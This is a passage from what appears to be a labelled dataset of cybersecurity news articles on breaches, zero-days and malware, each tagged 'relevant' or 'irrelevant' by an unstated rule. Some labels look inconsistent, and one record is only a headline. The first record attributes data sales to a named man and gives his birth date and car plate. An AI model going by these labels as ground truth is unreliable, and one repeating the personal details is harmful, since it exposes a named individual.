sharing service, who posted screenshots of discussions regarding the Yahoo and Equifax breaches. On the same account Tarakan72511 also posted his real picture titled ""tessa88"" in 2017, which links Donakov with tarakan72511 and tessa88. Tessa88 → Donakov with Guy Fawkes mask Another member of an underground forum, TraX, shared a photo of Tessa88, showing a man on the car roof with his face hidden behind Guy Fawkes mask, whose body type and hairstyle resemble with the picture of Tessa88 posted by tarakan72511. Tarakan72511 → Russian Car with Guy Fawkes mask → Tessa88 Researchers also identified a YouTube account with a similar username—Tarakan72511 Donakov—who posted a video showing someone feeding stray dogs. The video also revealed a style Guy Fawkes mask (same as worn in the picture posted by TraX) in the boot of a Mitsubishi Lancer car with the registration number K652BO 58. All Evidences Leads to Maksim Vladimirovich Donakov Russian Hacker Tessa88 Maksim Vladimirovich Donakov After exploring several confidential sources, Penza records, and Russian crime database, researchers find Tessa88 as Maksim Vladimirovich Donakov (date of birth: 02/07/1989), whose persona matches with the YouTube username 'Donakov,' Mitsubishi Lancer and person revealed in Imgur picture. Maksim Vladimirovich Donakov committed several crimes in Russia, including a car accident while driving a Mitsubishi Lancer in 2017. He also served jail time after committing another crime in 2014. After the comprehensive investigation, Recorded Future, with a ""high degree of confidence, concluded that Donakov is the man behind the sale of the extensive databases, including 32 million Twitter accounts, 360 million Myspace credentials, and 500 million Yahoo accounts. It is also believed that Donakov have sold data stolen from VKontakte (vk.com), Mobango, Badoo, QIP, and Rambler on various underground forums. At the time of a series of so-called 'mega breaches' in 2016, another online alias that came up was Peace_of_Mind — a separate hacker who was seen selling 117 Million LinkedIn emails and passwords and 200 million Yahoo accounts in 2016 on the currently defunct TheRealDeal Market. According to Recorded Future, Tessa88 and Peace_of_Mind made an agreement in May 2016 on sharing some of the stolen databases in a ""likely attempt to expedite monetizing the massive amount of data between the two."" The LinkedIn breach resulted in the arrest of Russian national Yevgeniy Nikulin (Евгений Никулин) in October 2016 by the FBI in the Czech Republic, who was later extradited to the United States. However, until today, no clear evidence links Nikulin to Peace_of_Mind. It should be noted that neither Tessa88 nor Peace_of_Mind was the actual hacker who breached the aforementioned companies. Both were involved in the selling of the already stolen databases, but not in performing the actual hacks, though the exact methods used to steal the databases are also unknown. Recorded Future hopes that the upcoming criminal case of Nikulin, who is now also a person of ""great interest"" in the US probe of Russia's meddling in the US presidential election, will shed some light on the gaps in the story.",irrelevant
"Uber fined $1.1 million by UK and Dutch regulators over 2016 data breach British and Dutch data protection regulators Tuesday hit the ride-sharing company Uber with a total fine of $1,170,892 (~ 1.1 million) for failing to protect its customers' personal information during a 2016 cyber attack involving millions of users. Late last year, Uber unveiled that the company had suffered a massive data breach in October 2016, exposing names, email addresses and phone numbers of 57 million Uber riders and drivers along with driving license numbers of around 600,000 drivers. Besides this, it was also reported that instead of disclosing the breach at the time, the company paid $100,000 in ransom to the two hackers with access to the stolen data in exchange for keeping the incident secret and deleting the information. Today Britain's Information Commissioner's Office (ICO) fined Uber 385,000 pounds ($491,102), while the Dutch Data Protection Authority (Dutch DPA) levied a 600,000 euro ($679,790) penalty on Uber for failing to protect the personal information of its 3 million British and 174,000 Dutch citizens, respectively. ""In 2016 a data breach occurred at the Uber concern in the form of unauthorized access to personal data of customers and drivers. The Uber concern is fined because it did not report the data breach to the Dutch DPA and the data subjects within 72 hours after the discovery of the breach,"" the Dutch DPA says. The ICO also confirmed that the attackers were able to compromise Uber's cloud-based storage system using stuffing attack—""a process by which compromised username and password pairs are injected into websites until they are matched to an existing account""—a loophole that could have been ""avoided."" ""Uber US did not follow the normal operation of its bug bounty programme. In this incident Uber US paid outside attackers who were fundamentally different from legitimate bug bounty recipients: instead of merely identifying a vulnerability and disclosing it responsibly, they maliciously exploited the vulnerability and intentionally acquired personal information relating to Uber users,"" the ICO states. The UK watchdog also said that none of the affected customers compromised by the incident were notified of the breach. Instead, Uber started monitoring affected riders and drivers accounts for fraud 12 months after the cyber attack, when the incident was made public last year. At the time, Uber notified regulatory authorities and offered affected drivers free credit monitoring and identity theft protection. The company assured its users that other personal details, such as trip location history, credit card numbers, bank account numbers, Social Security numbers or dates of birth, were not accessed in the attack. Since the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the fine of £385,000 imposed under the UK's old Data Protection Act 1998 is still lesser. The penalty could have been much larger had it fallen under EU's General Data Protection Regulation (GDPR), wherein a company could face a maximum fine of 17 million pounds or 4% of its annual global revenue, whichever is higher, for such a privacy breach. Last month, the UK's data protection watchdog also imposed a fine of £500,000 on Facebook for allowing political consultancy firm Cambridge Analytica to gather and misuse data of 87 million users improperly. In September, the ICO also issued the maximum allowed fine of £500,000 on credit reporting agency Equifax for its last year's massive data breach that exposed personal and financial data of hundreds of millions of its customers.",irrelevant
"US Postal Service Left 60 Million Users Data Exposed For Over a Year The United States Postal Service has patched a critical security vulnerability that exposed the data of more than 60 million customers to anyone who has an account at the USPS.com website. The U.S.P.S. is an independent agency of the American federal government responsible for providing postal service in the United States and is one of the few government agencies explicitly authorized by the United States Constitution. The vulnerability is tied to an authentication weakness in an application programming interface (API) for the USPS ""Informed Visibility"" program designed to help business customers track mail in real-time. 60 Million USPS Users' Data Exposed According to the cybersecurity researcher, who has not disclosed his identity, the API was programmed to accept any number of ""wildcard"" search parameters, enabling anyone logged in to usps.com to query the system for account details belonging to any other user. In other words, the attacker could have pulled off email addresses, usernames, user IDs, account numbers, street addresses, phone numbers, authorized users and mailing campaign data from as many as 60 million USPS customer accounts. ""APIs are turning out to be a double-edged sword when it comes to internet scale B2B connectivity and security. APIs, when insecure, break down the very premise of uber connectivity they have helped establish,"" Setu Kulkarni, VP of strategy and business development at WhiteHat Security told The Hacker News. ""To avoid similar flaws, government agencies and companies must be proactive, not just reactive, in regards to application security. Every business that handles consumer data needs to make security a consistent, top-of-mind concern with an obligation to perform the strictest security tests against vulnerable avenues: APIs, network connections, mobile apps, websites, and databases. Organizations that rely on digital platforms need to educate and empower developers to code using security best practices throughout the entire software lifecycle (SLC), with proper security training and certifications."" USPS Ignored Responsible Disclosure For Over a Year What's More Worrisome? The API authentication vulnerability also allowed any USPS user to request account changes for other users, such as their email addresses, phone numbers or other key details. The worst part of the whole incident was the USPS handling of responsible vulnerability disclosure. The unnamed researcher reportedly discovered and responsibly reported this vulnerability last year to the Postal Service, who ignored it and left its users' data exposed until last week when a journalist contacted USPS on behalf of the researcher. And then, the Portal Service addressed the issue within just 48 hours, journalist Brian Krebs said. ""While we're not sure whether anyone actually took advantage of the vulnerability, it did reportedly exist for a whole year, so we should assume the worst,"" Paul Bischoff, privacy advocate with Comparitech told The Hacker News. USPS Responds by Saying: ""We currently have no information that this vulnerability was leveraged to exploit customer records."" ""Out of an abundance of caution, the Postal Service is further investigating to ensure that anyone who may have sought to access our systems inappropriately is pursued to the fullest extent of the law.""",irrelevant
"Unpatched VirtualBox Zero-Day Vulnerability and Exploit Released Online An independent exploit developer and vulnerability researcher has publicly disclosed a zero-day vulnerability in VirtualBox—a popular open source virtualization software developed by Oracle—that could allow a malicious program to escape virtual machine (guest OS) and execute code on the operating system of the host machine. The vulnerability occurs due to memory corruption issues and affects Intel PRO / 1000 MT Desktop (82540EM) network card (E1000) when the network mode is set to NAT (Network Address Translation). The flaw is independent of the type of operating system being used by the virtual and host machines because it resides in a shared code base. VirtualBox Zero-Day Exploit and Demo Video Released Sergey Zelenyuk published Wednesday a detailed technical explanation of the zero-day flaw on GitHub, which affects all current versions (5.2.20 and prior) of VirtualBox software and is present on the default Virtual Machine (VM) configuration. According to Zelenyuk, the vulnerability allows an attacker or a malicious program with root or administrator rights in the guest OS to escape and execute arbitrary code in the application layer (ring 3) of the host OS, which is used for running code from most user programs with the least privileges. Following successful exploitation, the researcher believes an attacker can also obtain kernel privileges (ring 0) on the host machine by exploiting other vulnerabilities. ""The E1000 has a vulnerability allowing an attacker with root/administrator privileges in a guest to escape to a host ring 3. Then the attacker can use existing techniques to escalate privileges to ring 0 via /dev/vboxdrv,"" Zelenyuk said. Along with the details of the zero-day vulnerability, Zelenyuk also wrote down the complete exploit chain and released a video demonstration of the attack on Vimeo. No Security Patch Yet Available, Here's How to Protect Yourself The researcher claims his exploit is ""100% reliable."" Zelenyuk tested his exploit on Ubuntu version 16.04 and 18.04 x86-64 guests, but he believes the exploit also works against the Windows platform. While the exploit released by the researcher is not simple to execute, full details of how to execute it are provided. Zelenyuk decided to publicly disclose the zero-day vulnerability and the exploit due to his ""disagreement with [the] contemporary state of infosec, especially of security research and bug bounty,"" which he experienced over a year ago when he responsibly reported another VirtualBox flaw to Oracle. The researcher also expressed his displeasure with the ""delusion of grandeur and marketing bullshit"" with the vulnerability release process by ""naming vulnerabilities and creating websites for them,"" and security researchers putting themselves in front of ""a thousand conferences in a year."" So, this time the researcher publicly disclosed the flaw, and thus, there is no patch yet available. However, until it is patched, users can protect themselves against potential cyber attacks by changing the network card of their ""virtual machines to PCnet (either of two) or to Paravirtualized Network."" Though the researcher stressed that the above approach is more secure, in case if you are unable to do that, you can change the mode from NAT to another one.",relevant
"Popular WooCommerce WordPress Plugin Patches Critical Vulnerability If you own an eCommerce website built on WordPress and powered by WooCommerce plugin, then beware of a new vulnerability that could compromise your online store. Simon Scannell, a researcher at RIPS Technologies GmbH, discovered an arbitrary file deletion vulnerability in the popular WooCommerce plugin that could allow a malicious or compromised privileged user to gain full control over the unpatched websites. WooCommerce is one the most popular eCommerce plugins for WordPress that helps websites to upgrade their standard blog to a powerful online store. WooCommerce powers nearly 35% of e-stores on the internet, with more than 4 million installations. Exploiting WooCommerce File-Deletion and WordPress Design Flaws The attack demonstrated in the following video takes advantage of the way WordPress handles user privileges and WooCommerce file deletion vulnerability, allowing an account with ""Shop Manager"" role to eventually reset administrator accounts' password and take complete control over the website. When installed, WooCommerce extension creates ""Shop Managers"" accounts with ""edit_users"" capability, allowing them to edit customer accounts of the store in order to manage their orders, profiles, and products. In WordPress, an account with ""edit_users"" capability by default allowed to even edit an administrator account and reset its password. But to draw a permission-based line between an administrator and a shop manager account, the WooCommerce plugin adds some extra limitations on the shop managers. However, the researcher discovered that if WordPress admin, for some reason, disables the WooCommerce plugin, its configuration that mandated the limitation goes away, allowing Shop Manager accounts to edit and reset the password for administrator accounts. Now, according to Simon, a malicious Shop Manager can forcefully disable the WooCommerce plugin by exploiting a file deletion vulnerability that resides in the logging feature of WooCommerce. ""This vulnerability allows shop managers to delete any file on the server that is writable. By deleting the main file of WooCommerce, woocommerce.php, WordPress will be unable to load the plugin and then disables it,"" Simon explains in a blog post. Once the file is deleted, the WooCommerce plugin gets disabled, allowing shop managers to update the password for the administrator account and then take over the complete website. Install WooCommerce and WordPress Patch Updates The researcher responsibly reported the security issues to the Automattic security team, who manages the WooCommerce plugin, via Hackerone on 30, August 2018. The team acknowledged the flaws and fixed them in Woocommerce version 3.4.6 last month. If you haven,t yet updated your WordPress and Woocommerce, you are highly recommended to install the latest available security updates as soon as possible.",relevant
"3 New Code Execution Flaws Discovered in Atlantis Word Processor This is why you should always think twice before opening innocent looking email attachments, especially word and pdf files. Cybersecurity researchers at Cisco Talos have once again discovered multiple critical security vulnerabilities in the Atlantis Word Processor that allow remote attackers to execute arbitrary code and take over affected computers. An alternative to Microsoft Word, Atlantis Word Processor is a fast-loading word processor application that allows users to create, read and edit word documents effortlessly. It can also be used to convert TXT, RTF, ODT, DOC, WRI, or DOCX documents to ePub. Just 50 days after disclosing 8 code execution vulnerabilities in previous versions of Atlantis Word Processor, Talos team today revealed details and proof-of-concept exploits for 3 more remote code execution vulnerabilities in the application. All the three vulnerabilities, listed below, allow attackers to corrupt the application's memory and execute arbitrary code under the context of the application. Incorrect Calculation of Buffer Size (CVE-2018-4038) — an exploitable arbitrary write vulnerability resides in the open document format parser of Atlantis Word Processor while trying to null-terminate a string. Improper Validation of Array Index (CVE-2018-4039) — an out-of-bounds write vulnerability exists in the PNG implementation of. Use of Uninitialized Variable (CVE-2018-4040) — an exploitable uninitialized pointer vulnerability exists in the rich text format parser of Atlantis Word Processor. All these vulnerabilities affect Atlantis Word Processor versions 3.2.7.1, 3.2.7.2 and can be exploited by convincing a victim into opening a specially crafted malicious booby-trapped document. Talos researchers responsibly reported all the vulnerabilities to the developers of the affected software, who have now released an updated version 3.2.10.1 that addresses the issues. If you haven't yet, you are highly advised to update your word processing software to the latest version and security enthusiasts who are interested in learning more about these issues can head on to Talos blog for technical details. The easiest way to prevent yourself from being a victim of attacks leveraging such vulnerabilities is never to open any document provided in an email from unknown or untrusted sources.",relevant
"Adobe's Year-End Update Patches 87 Flaws in Acrobat Software Adobe is closing out this year with its December Patch Tuesday update to address a massive number of security vulnerabilities for just its two PDF apps—more than double the number of what Microsoft patched this month for its several products. Adobe today released patches for 87 vulnerabilities affecting its Acrobat and Reader software products for both macOS and Windows operating systems, of which 39 are rated as critical and 48 important in severity. The security update comes less than a week after Adobe released patches for a critical zero-day vulnerability (CVE-2018-15982) in Flash Player that was actively being exploited in a targeted attack targeting a Russian state health care institution. The critical vulnerabilities addressed today in Acrobat and Reader include three heap-overflow bugs, five out-of-bounds write flaws, two untrusted pointer dereference issues, two buffer errors, and 24 use-after-free bugs. Upon successful exploitation, all of the above critical vulnerabilities would allow an attacker to execute arbitrary code on compromised computers. Rest three critical-rated issues addressed this month are all security bypass issues which, if exploited, would lead to privilege escalation. In addition to the critical bugs, Adobe patched 48 'important' security flaws in the Acrobat and Reader, including 43 are out-of-bounds read issues, four integer overflow flaws, and two security bypass issues—all of which could lead to information disclosure. According to the company's support website, vulnerabilities rated as important, ""if exploited would compromise data security, potentially allowing access to confidential data, or could compromise processing resources in a user's computer."" The company did not disclose technical details of any of the vulnerabilities, but categorized all the flaws, both critical and important, as ""Priority 2,"" meaning that the flaws are unlikely to be exploited in the wild but are at high risk of being exploited. ""There are currently no known exploits. Based on previous experience, we do not anticipate exploits are imminent,"" Adobe says. ""As a best practice, Adobe recommends administrators install the update soon (for example, within 30 days)."" Users of the Adobe Acrobat and Reader apps for Windows and macOS operating systems are highly recommended to update their software packages to the latest versions as soon as possible.",relevant
"New Facebook Bug Exposed 6.8 Million Users Photos to Third-Party Apps Facebook's latest screw-up — a programming bug in Facebook website accidentally gave 1,500 third-party apps access to the unposted Facebook photos of as many as 6.8 million users. Facebook today quietly announced that it discovered a new API bug in its photo-sharing system that let 876 developers access users' private photos which they never shared on their timeline, including images uploaded to Marketplace or Facebook Stories. ""When someone gives permission for an app to access their photos on Facebook, we usually only grant the app access to photos people share on their timeline. In this case, the bug potentially gave developers access to other photos, such as those shared on Marketplace or Facebook Stories,"" Facebook said. What's worse? The bug even exposed photos that people uploaded to Facebook but chose not to post or didn't finish posting it for some reason. The flaw left users' private data exposed for 12 days, between September 13th and September 25th, until Facebook discovered and fixed the security blunder on the 25th September. ""Currently, we believe this may have affected up to 6.8 million users and up to 1,500 apps built by 876 developers. The only apps affected by this bug were ones that Facebook approved to access the photos API and that individuals had authorized to access their photos,"" Facebook said. facebook photo API leak The social media giant has started notifying impacted users of the flaw through an alert on their Facebook timeline that their photos may have been exposed, which will direct them to its Help Center page with more information. Facebook also says the social media network will soon be rolling out ""tools for app developers that will allow them to determine which people using their app might be impacted by this bug."" Facebook also assures its users that the company will be working with app developers to delete copies of photos that they were not supposed to access. 2018 has been quite a terrible year for Facebook with the social media giant found dealing with a slew of security incidents this year—the most significant one being the Cambridge Analytic scandal that exposed personal data of 87 million Facebook users. The social network also suffered its worst-ever security breach in September this year that exposed highly sensitive data of 14 million users. In the same month, Facebook also addressed a similar severe API bug that was actively being exploited by unknown hackers to steal secret access tokens and gather personal information for 30 million Facebook users. In June, Facebook also suffered another security issue affecting 14 million users, wherein users' posts that were meant to be private became public. These security incidents came out to be a failure of the social media giant in keeping the personal information of its 2.2 billion users protected while generating billions of dollars in revenue from the same information.",relevant
"Microsoft Issues Emergency Patch For Under-Attack IE Zero Day Microsoft today issued an out-of-band security update to patch a critical zero-day vulnerability in Internet Explorer (IE) Web browser that attackers are already exploiting in the wild to hack into Windows computers. Discovered by security researcher Clement Lecigne of Google's Threat Analysis Group, the vulnerability, tracked as CVE-2018-8653, is a remote code execution (RCE) flaw in the IE browser's scripting engine. According to the advisory, an unspecified memory corruption vulnerability resides in the scripting engine JScript component of Microsoft Internet Explorer that handles execution of scripting languages. If exploited successfully, the vulnerability could allow attackers to execute arbitrary code in the context of the current user. ""If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights,"" the advisory reads. Besides this, a remote attacker can also target victims by convincing them into viewing a specially crafted HTML document (e.g., a web page or an email attachment), MS Office document, PDF file or any other document that supports embedded IE scripting engine content. The IE zero-day vulnerability impacts IE 9 on Windows Server 2008, IE 10 on Windows Server 2012, IE 11 from Windows 7 to Windows 10, and IE 11 on Windows Server 2019, Windows Server 2016, Windows Server 2008 R2, Windows Server 2012 R2. Neither Google nor Microsoft has yet publicly disclosed any technical details about the IE zero-day vulnerability, proof-of-concept exploit code, or details about the ongoing cyber attack campaign utilizing this RCE bug. Since the vulnerability is actively being exploited in the wild which makes it a critical zero-day flaw, users are strongly recommended to install the latest updates provided by Microsoft as soon as possible. Though it is not recommended, users who cannot immediately deploy patches can mitigate the threat by restricting access to jscript.dll file by running following command in the command prompt using admin privileges. For 32-bit System — cacls %windir%\system32\jscript.dll /E /P everyone:N For 64-bit System — cacls %windir%\syswow64\jscript.dll /E /P everyone:N It should be noted that the above command will force the web browser to use Jscript9.dll, but any website that relies on Jscript.dll will fail to render.",relevant
"Warning! Unprivileged Linux Users With UID > INT_MAX Can Execute Any Command Hold tight, this may blow your mind… A low-privileged user account on most Linux operating systems with UID value anything greater than 2147483647 can execute any systemctl command unauthorizedly—thanks to a newly discovered vulnerability. The reported vulnerability actually resides in PolicyKit (also known as polkit)—an application-level toolkit for Unix-like operating systems that defines policies, handles system-wide privileges and provides a way for non-privileged processes to communicate with privileged ones, such as ""sudo,"" that does not grant root permission to an entire process. The issue, tracked as CVE-2018-19788, impacts PolicyKit version 0.115 which comes pre-installed on most popular Linux distributions, including Red Hat, Debian, Ubuntu, and CentOS. The vulnerability exists due to PolicyKit's improper validation of permission requests for any low-privileged user with UID greater than INT_MAX. Where, INT_MAX is a constant in computer programming that defines what maximum value an integer variable can store, which equals to 2147483647 (in hexadecimal 0x7FFFFFFF). So it means, if you create a user account on affected Linux systems with any UID greater than INT_MAX value, the PolicyKit component will allow you to execute any systemctl command successfully. Security researcher Rich Mirch, Twitter handle ""0xm1rch,"" has also released a proof-of-concept (PoC) exploit to successfully demonstrate the vulnerability that requires a user with the UID 4000000000. Red Hat has recommended system administrators not to allow any negative UIDs or UIDs greater than 2147483646 in order to mitigate the issue until the patch is released.",relevant
"New Malware Takes Commands From Memes Posted On Twitter Security researchers have discovered yet another example of how cybercriminals disguise their malware activities as regular traffic by using legitimate cloud-based services. Trend Micro researchers have uncovered a new piece of malware that retrieves commands from memes posted on a Twitter account controlled by the attackers. Most malware relies on communication with their command-and-control server to receive instructions from attackers and perform various tasks on infected computers. Since security tools keep an eye on the network traffic to detect malicious IP addresses, attackers are increasingly using legitimate websites and servers as infrastructure in their attacks to make the malicious software more difficult to detect. In the recently spotted malicious scheme, which according to the researchers is in its early stage, the hackers uses Steganography—a technique of hiding contents within a digital graphic image in such a way that's invisible to an observer—to hide the malicious commands embedded in a meme posted on Twitter, which the malware then parses and executes. Although the internet meme looks a normal image to human eyes, the command ""/print"" is hidden in the file's metadata, which then prompts the malware to send a screenshot of the infected computer to a remote command-and-control server. Also Read: Hacking With Just An Image — Stegano Here, the malware, which the researchers named ""TROJAN.MSIL.BERBOMTHUM.AA,"" has been designed to check the attacker's Twitter account and then download and scan meme (image) files for the secret commands. malware According to the Trend Micro researchers, the Twitter account in question was created in 2017 and contained only two memes posted on October 25 and 26 that delivered ""/print"" commands to the malware that instructed it to take screenshots. The malware then sends the screenshots to a command and control server, whose address is obtained through a ""hard-coded"" URL on the Pastebin site. Besides taking screenshots, the malware can also be given a variety of other commands, such as to retrieve a list of running processes, grab the account name of the logged in user, get filenames from specific directories on an infected machine, and grab a dump of the user's clipboard. The malware appears to be in the early stages of its development as the pastebin link points to a local, private IP address, ""which is possibly a temporary placeholder used by the attackers."" It's worth noting that the malware was not downloaded from Twitter itself and the researchers currently haven't found what specific mechanism that was or could be used by attackers to deliver the malware to the victims' computers. The good news is that the Twitter account used to deliver the malicious memes appears to have been disabled, but it is still not clear who is behind this malware and how the mysterious hacker was circulating the malware.",irrelevant
Microsoft Issues Patch for Windows Zero-Day Flaw Under Active Attack ,relevant
"Mayday! NASA Warns Employees of Personal Information Breach Another day, another data breach. This time it's the United States National Aeronautics and Space Administration (NASA) NASA today confirmed a data breach that may have compromised personal information of some of its current and former employees after at least one of the agency's servers was hacked. In an internal memo sent to all employees on Tuesday, NASA said the unknown hackers managed to gain access to one of its servers storing the personally identifiable information (PII), including social security numbers, of current and former employees. The agency said NASA discovered the breach on October 23 when its cybersecurity personnel began investigating a possible breach of two of its servers holding employee records. After discovering the intrusion, NASA has since secured its servers and informed that the agency is working with its federal cybersecurity partners ""to examine the servers to determine the scope of the potential data exfiltration and identify potentially affected individuals."" However, NASA said this process ""will take time."" It should be noted that no space missions were jeopardized by the cyber incident, the agency said. According to the agency, any NASA Civil Service employee who joined, left, or transferred within the agency from July 2006 to October 2018 may have had their personal data compromised. NASA currently employs roughly 17,300 people. The agency said all the affected employees would be notified once identified, and offered identity theft protection services and related resources to all affected employees, past and present. ""Our entire leadership team takes the protection of personal information very seriously. Information security remains a top priority for NASA,"" said Bob Gibbs, assistant administrator at NASA's Office of the Chief Human Capital Officer. ""NASA is continuing its efforts to secure all servers, and is reviewing its processes and procedures to ensure that the latest security practices are being followed throughout the agency."" This is not the first time when the agency's servers have been compromised. NASA suffered a massive security breach in 2016 when a hacking group released 276GB of sensitive data including flight logs and credentials of thousands of its employees. At that time, the hackers even attempted to crash a $222 million drone into the Pacific Ocean by gaining control over the drone by rerouting the flight path.",irrelevant
"Quora Gets Hacked – 100 Million Users Data Stolen The World's most popular question-and-answer website Quora has suffered a massive data breach with unknown hackers gaining unauthorized access to potentially sensitive personal information of about 100 million of its users. Quora announced the incident late Monday after its team last Friday discovered that an unidentified malicious third-party managed to gain unauthorized access to one of its systems and stole data on approximately 100 million users—that's almost half of its entire user base. According to Adam D'Angelo, the chief executive officer and co-founder of Quora, the personal user information compromised in the breach includes: Account information, such as names, email addresses, encrypted (hashed) passwords, and data imported from linked social networks like Facebook and Twitter when authorized by users. Public content and actions, like questions, answers, comments, and upvotes. Non-public content and actions, including answer requests, downvotes, direct and messages (note that a low percentage of Quora users have sent or received such messages). Quora said it stores salted and hashed passwords to prevent them from cracking, but as a precaution, the company has logged all compromised users out of their Quora accounts, and forcing them to reset their passwords. Quora said it is still investigating the breach and assured its users that it working rapidly to ""take the appropriate steps to prevent such incidents in the future."" ""We're still investigating the precise causes, and in addition to the work being conducted by our internal security teams, we have retained leading digital forensics and security firm to assist us. We have also notified law enforcement officials,"" Adam said in a blog post. Quora is notifying affected users of the breach through emails, but if you think you are compromised, you can head on to the company's FAQ to find out every detail about the incident. Quora's data breach is the latest in a series of high-profile hacks. Just last week, the world's biggest hotel chain Marriott confirmed a breach of its Starwood properties that potentially exposed personal and, in some cases, financial information from half a billion guests, making it the second largest data breaches in the history behind Yahoo 2016 hacking of nearly 3 billion users. In September, Facebook also announced a breach of its network that allowed hackers to steal personal details for about 30 million users using a zero-day flaw in the platform's ""View As"" feature.",irrelevant
"New Shamoon Malware Variant Targets Italian Oil and Gas Company Shamoon is back… one of the most destructive malware families that caused damage to Saudi Arabia's largest oil producer in 2012 and this time it has targeted energy sector organizations primarily operating in the Middle East. Earlier this week, Italian oil drilling company Saipem was attacked and sensitive files on about 10 percent of its servers were destroyed, mainly in the Middle East, including Saudi Arabia, the United Arab Emirates and Kuwait, but also in India and Scotland. Saipem admitted Wednesday that the computer virus used in the latest cyber attack against its servers is a variant Shamoon—a disk wiping malware that was used in the most damaging cyber attacks in history against Saudi Aramco and RasGas Co Ltd and destroyed data on more than 30,000 systems. The cyber attack against Saudi Aramco, who is the biggest customer of Saipem, was attributed to Iran, but it is unclear who is behind the latest cyber attacks against Saipem. Meanwhile, Chronicle, Google's cybersecurity subsidiary, has also discovered a file containing Shamoon sample that was uploaded to VirusTotal file analyzing service on 10th December (the very same day Saipem was attacked) from an IP address in Italy, where Saipem is headquartered. However, the Chronicle was not sure who created the newly discovered Shamoon samples or who uploaded them to the virus scanning site. The latest attack against Saipem reportedly crippled more than 300 of its servers and about 100 personal computers out of a total of roughly 4,000 machines, though the company confirmed that it had already backed up the affected computers, so there no possibility of data being lost in the cyber attack. ""Saipem reports that the cyber attack hit servers based in the Middle East, India, Aberdeen and, in a limited way, Italy through a variant of Shamoon malware,"" Saipem said in its press release. ""The restoration activities, in a gradual and controlled manner, are underway through the backup infrastructures and, when completed, will re-establish the full operation of the impacted sites."" Shamoon, also known as Disttrack, works by disabling systems by overwriting key computer files, including the master boot record (MBR), making it impossible for computers to start up. The malware can also rapidly propagate across infected networks using Windows Server Message Block (SMB) protocol, similar to other known destructive malware like WannaCry and NotPetya. Shamoon was first surfaced in 2012, and then after a long time of silence, an evolved version of the malware was used in attacks against various Saudi organizations in 2016 and 2017 targeting multiple industries, including the public and financial services sectors. It is still unclear who actually created Shamoon, but security researchers widely believe that the Iranian hacking groups OilRig, Rocket Kitten, and Greenbug working on behalf of the Iranian government were behind previous Shamoon attacks, though Iran has strongly denied.",irrelevant
"Critical SQLite Flaw Leaves Millions of Apps Vulnerable to Hackers Cybersecurity researchers have discovered a critical vulnerability in widely used SQLite database software that exposes billions of deployments to hackers. Dubbed as 'Magellan' by Tencent's Blade security team, the newly discovered SQLite flaw could allow remote attackers to execute arbitrary or malicious code on affected devices, leak program memory or crash applications. SQLite is a lightweight, widely used disk-based relational database management system that requires minimal support from operating systems or external libraries, and hence compatible with almost every device, platform, and programming language. SQLite is the most widely deployed database engine in the world today, which is being used by millions of applications with literally billions of deployments, including IoT devices, macOS and Windows apps, including major web browsers, such as Adobe software, Skype and more. Since Chromium-based web browsers—including Google Chrome, Opera, Vivaldi, and Brave—also support SQLite through the deprecated Web SQL database API, a remote attacker can easily target users of affected browsers just by convincing them into visiting a specially crafted web-page. ""After testing Chromium was also affected by this vulnerability, Google has confirmed and fixed this vulnerability,"" the researchers said in a blog post. SQLite has released updated version 3.26.0 of its software to address the issue after receiving responsible disclosure from the researchers. Google has also released Chromium version 71.0.3578.80 to patch the issue and pushed the patched version to the latest version of Google Chrome and Brave web-browsers. Tencent researchers said they successfully build a proof-of-concept exploit using the Magellan vulnerability and successfully tested their exploit against Google Home. Since most applications can't be patched anytime sooner, researchers have decided not to disclose technical details and proof-of-concept exploit code to the public. ""We will not disclose any details of the vulnerability at this time, and we are pushing other vendors to fix this vulnerability as soon as possible,"" the researchers said. Since SQLite is used by everybody including Adobe, Apple, Dropbox, Firefox, Android, Chrome, Microsoft and a bunch of other software, the Magellan vulnerability is a noteworthy issue, even if it's not yet been exploited in the wild. Users and administrators are highly recommended to update their systems and affected software versions to the latest release as soon as they become available.",relevant
"Twitter Discloses Suspected State-Sponsored Attack After Minor Data Breach Twitter has been hit with a minor data breach incident that the social networking site believes linked to a suspected state-sponsored attack. In a blog post published on Monday, Twitter revealed that while investigating a vulnerability affecting one of its support forms, the company discovered evidence of the bug being misused to access and steal users' exposed information. The impacted support form in question was used by account holders to contact Twitter about issues with their account. Discovered in mid-November, the support form API bug exposed considerably less personal information, including the country code of users' phone numbers associated with their Twitter account, and ""whether or not their account had been locked."" So far the company has declined to provide more details about the incident or an estimate for the number of accounts potentially impacted but says it believes that the attack may have ties to state-sponsored actors. ""During our investigation, we noticed some unusual activity involving the affected customer support form API. Specifically, we observed a large number of inquiries coming from individual IP addresses located in China and Saudi Arabia,"" Twitter says in a post about the incident. ""While we cannot confirm intent or attribution for certain, it is possible that some of these IP addresses may have ties to state-sponsored actors."" Twitter also assures its users that the issue does not expose full phone numbers or any other personal data related to the user. Twitter says that the social networking site addressed the issue within just one day on November 16 and that there is no action required from the users' side. When the company became aware of the incident, it started investigating the origins and background of the breach to ""provide you with as much information as possible,"" and also updated law enforcement. Twitter has started directly notifying the users who, according to the company, have been impacted by the incident. ""We have directly informed the people we identified as being affected,"" the company writes. ""We are providing this broader notice as it is possible that other account holders we cannot identify were potentially impacted."" Like other social media platforms, Twitter has also been hit by a number of security incidents this year. In May, Twitter urged all of its 330 million users to change their passwords after a software glitch unintentionally exposed its users' account passwords by storing them in plain text on an internal log. In September, a flaw in Twitter's Account Activity API exposed some of its users' direct messages (DMs) and protected tweets to unauthorized, third-party app developers who weren't supposed to get them. Over the weekend, Twitter was also hit by another software glitch that allowed unapproved third-party apps to access and read users' direct messages (DMs), even when they told users that they would not.",irrelevant
